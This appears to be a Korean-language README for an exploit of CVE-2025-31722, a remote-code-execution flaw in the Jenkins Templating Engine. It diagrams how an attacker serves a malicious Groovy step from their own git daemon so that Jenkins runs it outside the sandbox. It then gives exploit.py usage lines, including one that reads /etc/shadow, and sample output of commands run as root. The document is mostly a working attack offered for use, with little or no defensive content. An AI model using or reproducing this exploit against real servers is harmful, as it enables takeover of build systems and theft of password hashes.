공격자 (Kali)                          Jenkins 서버
───────────────                          ──────────────
1. evil.groovy가 포함된 git 저장소 생성
2. :9418 포트에서 git 데몬 시작
3. Jenkins에 폴더 생성        →    GovernanceTier가 있는 폴더
   git://KALI:9418/…를 가리킴         공격자의 저장소를 가리킴
4. AdHoc 템플릿으로 작업 생성  →    작업이 evil() 호출
5. 빌드 트리거                   →    JTE가 Kali에서 저장소 복제
                                         샌드박스 외부에서 evil() 실행
                                    ←    Jenkins 사용자로 RCE

pip install requests

python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP>

python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cmd "cat /etc/shadow"

python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cleanup

=================================================================
  CVE-2025-31722 — Jenkins 템플릿 엔진 RCE
  대상  : http://10.211.55.10:8080
  Git 호스트: 10.211.55.7
  명령어 : id && hostname && cat /etc/passwd
=================================================================

[+] 인증됨: attacker (id=attacker)
[+] 저장소 생성됨: /root/jte-exploit
[+] 악성 단계: evil-lib/steps/evil.groovy
[+] Git 데몬 실행 중: git://10.211.55.7:9418/jte-exploit
[+] 폴더 생성됨
[+] 작업 생성됨
[+] 빌드 대기 중

=================================================================
  CVE-2025-31722 — RCE 출력
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================